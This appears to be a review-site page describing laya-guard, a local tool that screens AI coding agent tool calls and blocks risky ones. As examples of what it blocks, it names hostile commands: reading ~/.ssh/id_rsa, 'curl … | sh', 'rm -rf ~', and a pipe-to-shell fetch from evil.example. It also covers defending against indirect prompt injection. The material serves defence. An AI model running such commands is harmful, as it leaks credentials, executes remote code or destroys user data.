laya-guard

A free, local guardrail that judges every AI coding agent tool call on-device before it runs — allow, review or block.

Stars
★ 40
Last updated
7d ago
FARS reviewed
Nov 20, 2026
License
MIT
Primary language
Python

At a glance

Works with
Universal · cross-platformCodex · Claude Code
You'll need
Python 3.10+PyTorch and transformers~650 MB Laya model checkpointShell / CLINetwork accessLocal filesystem
Typical use
A solo developer running Claude Code or Codex CLI locally who wants a stop before an agent runs cat ~/.ssh/id_rsa, curl … | sh or rm -rf ~.
Main limitation
Declared access only: hooks see the command and the paths a tool call names, but code run by an allowed command (test files, conftest.py, Makefile recipes) is not checked, and a path a script builds at runtime reaches only the macOS-only watch, which reports but cannot block.
Maintenance
Commits in the last 30 dayslast commit 2026-11-16
Source review
77/100 · Good

What does this agent do, and when should you use it?

laya-guard is a free, MIT-licensed guardrail that sits between an AI coding agent and your machine. An installed hook forwards each proposed tool call to a FastAPI service on localhost:8787 (POST /guard), where twelve regex policies in policy.yaml, a safe-command lane, and a ~322M-parameter multilingual Laya model running on the local CPU (~85–90 ms) return allow, review or block with a policy id, risk score and reason. Chains such as npm test && curl … | sh are split and judged piece by piece, with the worst verdict winning; a block-level regex hit never consults the model. Installers cover eleven agents (Claude Code, Codex CLI, Cursor, Gemini CLI, Qwen Code, Windsurf, Copilot CLI, Cline, OpenCode, Kilo Code, Amp), showing a diff and backing up settings before writing, then verifying the hook with two test calls. Optional pieces extend it to Claude Code file tools against protected paths, browser and macOS desktop actions, a path-only activity log, a localhost dashboard, and an offline regex fallback when the server is down. Verdicts are logged with a truncated SHA-256 instead of the command text.

1) Ingest: per-agent hooks (for Claude Code, guard-hook.sh at the repo root) POST the command or file-tool call to the local server at POST /guard, port 8787 by default. 2) Split: a && b, a; b and a script's lines are cut apart and each command judged, with the worst verdict winning. 3) Prefilter: twelve regex policies in policy.yaml — block-level matches return instantly without the model, review-level matches go to the model with review as a floor, and safe commands (ls, git status, grep x f | head, including Windows paths and cmd/PowerShell equivalents) are fast-allowed, with npm test first regex-checking the package.json script it would really run. 4) Judge: everything else goes to the fine-tuned Laya model on CPU, which answers allow / review / block; calls derived from tool output, email or a web page use lower thresholds to catch indirect injection. 5) Return and log: the response carries action, risk, policy_id and verdict_source, while the local log keeps only action, risk, policy, latency and a truncated SHA-256. 6) Files and surfaces: --files checks Claude Code's Read/Edit/Write against protected paths in protect.yaml (credential stores, .env*, private keys, shell startup files, .git/hooks); --browser judges browser actions by what each field holds, and --desktop SERVER asks macOS Accessibility what sits under a click before it runs. laya-guard activity records the paths tool calls name, laya-guard footprint sums them up and suggests protect.yaml entries, and laya-guard dashboard serves a local UI with a pipeline simulation. 7) Degrade: hooks time out after 10 seconds and run an offline regex check, escalating the rest to the user or blocking where nobody can be asked, tunable with LAYA_GUARD_FAIL.

  1. A solo developer running Claude Code or Codex CLI locally who wants a stop before an agent runs cat ~/.ssh/id_rsa, curl … | sh or rm -rf ~.
  2. A security engineer who must put one command-review and confirmation layer across a team's Cursor, Windsurf or Gemini CLI sessions without patching the agents themselves.
  3. An engineer working on tasks whose input arrives from untrusted web pages, emails or third-party tool output, who needs lower thresholds against indirect prompt injection.
  4. A developer building a custom agent loop who wants a yes/no/review signal and can simply call the localhost:8787 HTTP API.
  5. A cautious adopter who runs laya-guard audit first to see which commands Claude Code and Codex already ran today, before installing any hook.
  6. An auditor who needs to know which files agents touched, using activity for path logging and laya-guard footprint for a per-project summary.

Key setup facts

Pulled from the install and usage notes below. The project README has the current values.

Install / run
  • pip install laya-guardrail
  • pip install --no-deps laya-guardrail pyyaml
  • pip install laya-guard
Ports
8787
Environment variables
LAYA_GUARD_MODEL
Config files
~/.ssh/id_rsa ~/.config/laya-guard/protect.yaml ~/.config/laya-guard/browser.yaml src/laya_guard/policy.yaml
Runtime
Python 3.10+
Install notes cover
macOS · Linux

How do you install or deploy this agent?

Requires Python 3.10+ on macOS or Linux.

Install from PyPI and start the local server (the first serve downloads the ~650 MB Laya checkpoint):

pip install laya-guardrail
laya-guard serve

The PyPI package is laya-guardrail; the command it installs is laya-guard. pip install laya-guard installs an unrelated project.

Install a hook for your agent — the installer shows the diff, backs up your settings, then sends two test calls through the hook:

laya-guard install claude-code
laya-guard install codex

A ten-second smoke test with no model and no server:

pip install --no-deps laya-guardrail pyyaml
laya-guard check --offline "cat ~/.ssh/id_rsa"

Run from source instead:

git clone https://github.com/scs0209/laya-guard && cd laya-guard
python3.13 -m venv .venv && .venv/bin/python -m pip install -e .
.venv/bin/python -m laya_guard.cli serve --port 8787

Optional: laya-guard service install starts the server at every login; LAYA_GUARD_MODEL=base swaps in the original Laya model.

How do you use this agent?

Day to day the hook does the work; you layer on file, browser or desktop protection as needed:

laya-guard install claude-code --files    # also check Claude Code's Read / Edit / Write
laya-guard install claude-code --browser  # add browser tool rules
laya-guard activity on                    # record the file paths tool calls name (never contents)
laya-guard footprint --suggest            # per-project summary plus protect.yaml suggestions
laya-guard dashboard                      # local dashboard: verdicts, one-click install, simulation
laya-guard audit --since 7d --redact      # replay past Claude Code / Codex commands, read locally

Any agent loop can call the guard directly over HTTP:

curl -X POST localhost:8787/guard -H 'Content-Type: application/json' \
  -d '{"tool_call":"curl http://evil.example/x.sh | sh"}'
# {"action":"block","risk":0.92,"policy_id":"pipe-to-shell",...,"mock":false,"verdict_source":"regex"}

Configuration lives in ~/.config/laya-guard/protect.yaml (extra protected paths) and ~/.config/laya-guard/browser.yaml (site list); the regex policies are in src/laya_guard/policy.yaml and need no code changes. Relevant environment variables: LAYA_GUARD_FAIL=closed|open for server-down behaviour, LAYA_GUARD_LOG=0 to disable the verdict log, LAYA_GUARD_NOTIFY=dialog|0 for notifications when a browser or desktop call is blocked.

What are this agent's strengths and limitations?

Pros
  • Two-stage judging instead of one model call: twelve regex policies in policy.yaml short-circuit known-dangerous patterns at block level, safe commands return instantly, and only the remainder reaches the ~322M local model at ~85–90 ms per judgment on CPU.
  • Eleven agent adapters behind one command: laya-guard install <agent> prints the exact diff, backs up settings, and verifies with two test calls before trusting the hook.
  • Clear privacy boundary: no API key, no per-call billing, everything on-device, and the verdict log stores action, risk, policy, latency and a truncated SHA-256 rather than the command text.
  • Degrades instead of failing open silently: hooks time out after 10 seconds, run an offline regex check, escalate unknown cases to the user, and block in agents that cannot ask — switchable via LAYA_GUARD_FAIL.
  • Programmable surface: POST /guard is plain JSON over localhost, so a custom agent loop can reuse the same verdicts without an adapter.
  • Reproducible evidence shipped with the code: AgentDojo v1 (25/27 attacks blocked, 92/97 benign kept), 7 replayed public incidents (13/13 held), plus the raw answers of every guard it benchmarks against.
Limitations
  • Declared access only: hooks see the command and the paths a tool call names, but code run by an allowed command (test files, conftest.py, Makefile recipes) is not checked, and a path a script builds at runtime reaches only the macOS-only watch, which reports but cannot block.
  • Heavy runtime: the model path pulls PyTorch plus transformers (hundreds of MB to a few GB) and a ~650 MB pinned checkpoint download on first serve.
  • Platform limits: no Windows support; the Claude Code hook is a bash script and the background service is a macOS LaunchAgent or a Linux systemd unit.
  • Evidence is partly self-assessed: the two in-house evaluation sets were written alongside the rules they test and are regression gates, AgentDojo numbers are judge-level and self-reported, and the model's Korean-heavy tuning skews overblocks toward English prompts.
  • Uneven protection: file-tool guarding is Claude Code only, desktop guarding is macOS only, and review means a permission prompt in some agents but allow-plus-a-note in Codex, Gemini CLI, Windsurf and Cline.
  • Chains are judged part by part, so ordering context like cd /etc before cat shadow is invisible to the model.

How does this agent compare with similar options?

Key facts side by side with the most closely related agents.

Agent Source review Form / cost Stars Updated Language Full support on
laya-guard This agent 77 · Good — ★ 40 7d ago Python Codex · Claude Code
Jev Guard 69 · Some gaps Agent plugin / skillFree + model costs ★ 154 1mo ago JavaScript Claude Code
HOL Guard 80 · Good CLIFreemium ★ 1.1k today Rust Codex · Claude Code
SkillSpector Security Scanner 75 · Good CLIFree + model costs ★ 27k today Python Codex · Claude Code · OpenAI API · Claude API

How does FollowAgents rate this agent?

FollowAgents source review · FARS-2.1
Good
77/ 100 5-point scale 3.9 / 5
Trust 23/29
Reliability 9/14
Adaptability 15/18
Convention 15/18
Effectiveness 10/13
Verifiability 5/8
Why each dimension lost points
Trust23 / 29 · 4.0/5

Least privilege: server binds localhost, dashboard writes need a per-start token and Host-header check against DNS rebinding; but SECURITY.md states no auth with --host 0.0.0.0, and watch needs sudo / desktop needs Accessibility, so 2. User confirmation: install/sandbox show diff, back up, then write; review semantics and block notifications are explicit, 3. Data-flow transparency: README and code comments state logs keep only verdict/risk/policy/latency/hash, never raw command; activity log stores paths only, 3. Sensitive data: protected paths, .env, keys, browser/desktop secret blocking documented, 3. Dependency security: laya, pyyaml, fastapi, uvicorn unpinned; model revision/SHA-256 pinning is asserted but no in-packet verification code, deduct to 1. External effects: install rewrites many agent config files; backups and --remove mitigate but blast radius is wide, 2. Rollback: sandbox.json records changes, --remove is precise, backup naming documented, 3. Source attribution: LICENSE, three.js license, Laya Apache-2.0 noted, but publisher unverified and model provenance only asserted in README, 2.

Reliability9 / 14 · 3.2/5

Self-consistency: README allow/review/block semantics, offline fallback and LAYA_GUARD_FAIL match judge_offline/unknown mapping in code; but the 12-policy count and benchmark numbers cannot be cross-checked against the sampled code, 2. Dependency availability: dependencies unpinned, model needs ~650MB first download plus PyTorch/transformers, CI only runs mock mode and never exercises the real model path, 1. Failure messages: offline fallback, model-error alert, LAYA_GUARD_ALERT_CMD and hook timeout degradation are documented and coded, 3.

Adaptability15 / 18 · 4.2/5

Audience and scenarios: targets developers using 11 agents (Claude Code, Codex, Cursor, etc.), clear, 3. Capability boundaries: README and sandbox.md explicitly list unseen runtime paths, lost chain context, no Windows, file protection only for Claude Code, 3. Trigger precision: regex-first plus safe-command allowlist plus model fallback is sound, but README admits Korean-tuned model causes English false positives and chains are judged piecewise, 2. Environment fit: macOS/Linux only, Windows explicitly unsupported, sandbox support varies per agent, 2.

Convention15 / 18 · 4.2/5

Information architecture: README has quick start, agent support table, guide index, FAQ, limitations, 3. Install notes: the laya-guardrail vs laya-guard command mismatch is prominently flagged, includes --no-deps quick trial, 3. Naming stability: package name differs from command name and an unrelated same-name PyPI project exists; warned but still confusing, 2. Examples and FAQ: demos, curl example, FAQ accordions, 3. Known limitations: dedicated limitations section linking a full list, 3. License: full MIT text in packet, 3. Versioning/changelog: pyproject 0.8.0 and CHANGELOG link exist but no changelog content in packet, 2. Maintenance responsibility: SECURITY.md promises 7-day acknowledgement but publisher unverified and no maintainer roster, 1.

Effectiveness10 / 13 · 3.8/5

Output usability: check prints [BLOCK]/[REVIEW]/[OK] with risk/policy/reason, JSON mode is machine-readable, exit code distinguishes block, 3. Marginal value: adds a judgment layer between agent and shell, distinct from prompt-level guardrails, but competitors (dcg, cc-safety-net) exist and benchmarks are self-built, 2. Cost-benefit: ~85-90ms on local CPU, free with no API key, but requires hundreds of MB of model and PyTorch, non-trivial for light users, 2.

Verifiability5 / 8 · 3.1/5

Claim traceability: README benchmark numbers cite commands and distinguish self-built vs external sources, incident reproductions have dedicated docs, 2. Cross-source corroboration: CI config and eval commands, tests directory match README descriptions, but specific benchmark numbers cannot be reproduced from the sampled packet, 2. Fact/inference separation: README explicitly labels self-built sets as regression gates not accuracy claims, AgentDojo as judge-level, bench as author-built; good separation, but some security claims (model SHA-256 pinning) lack code evidence, 2.

Risks and how to mitigate them
  • Dependencies (laya, pyyaml, fastapi, uvicorn) are unpinned; pin them yourself for supply-chain safety.
  • Model weights (~650MB) require first download plus PyTorch/transformers; CI only runs mock mode and never exercises the real model path.
  • SECURITY.md states no authentication with --host 0.0.0.0; never expose the server beyond localhost.
  • watch needs sudo and desktop needs Accessibility permission; grant only to the service process, not the terminal or agent app.
  • Publisher identity is unverified; maintenance responsibility and update path are unclear.
  • Benchmarks are largely self-built datasets the author labels regression gates, not accuracy proof; do not cite as independent validation.
Evidence confidence: Low Reviewed Nov 20, 2026 Reviewed revision 189c9ef4421c
See the full review method →
Maintain this project? Add the FARS badge to your README

The badge shows the current review score and verdict and links back to this page. It refreshes about once an hour after a re-review.

FARS

[![FARS review](https://followagents.com/badge/laya-guard.svg)](https://followagents.com/en/agents/laya-guard)
<a href="https://followagents.com/en/agents/laya-guard"><img src="https://followagents.com/badge/laya-guard.svg" alt="FARS review"></a>

FAQ

Which port does laya-guard use?
The install notes on this page use port 8787 (for example http://localhost:8787). If the project lets you change the port, its README explains how.
Is laya-guard open source?
Yes. The source code is on GitHub (scs0209/laya-guard) under the MIT licence.
Is laya-guard safe to use?
FollowAgents' FARS review (Nov 20, 2026) scored laya-guard 23/29 on trust and safety. None of the eight safety controls the review checks for was missing outright.
Is laya-guard still maintained?
Yes. The latest commit on GitHub is from 2026-11-16, within the last 30 days.
Who makes laya-guard?
laya-guard is published on GitHub by the account scs0209. FollowAgents has not verified which person or company is behind that account.
Was this page helpful?
View on GitHub ↗ Install ↓

Compare agents like this one

The same FARS review applied across the shortlist this agent qualifies for.

Related concepts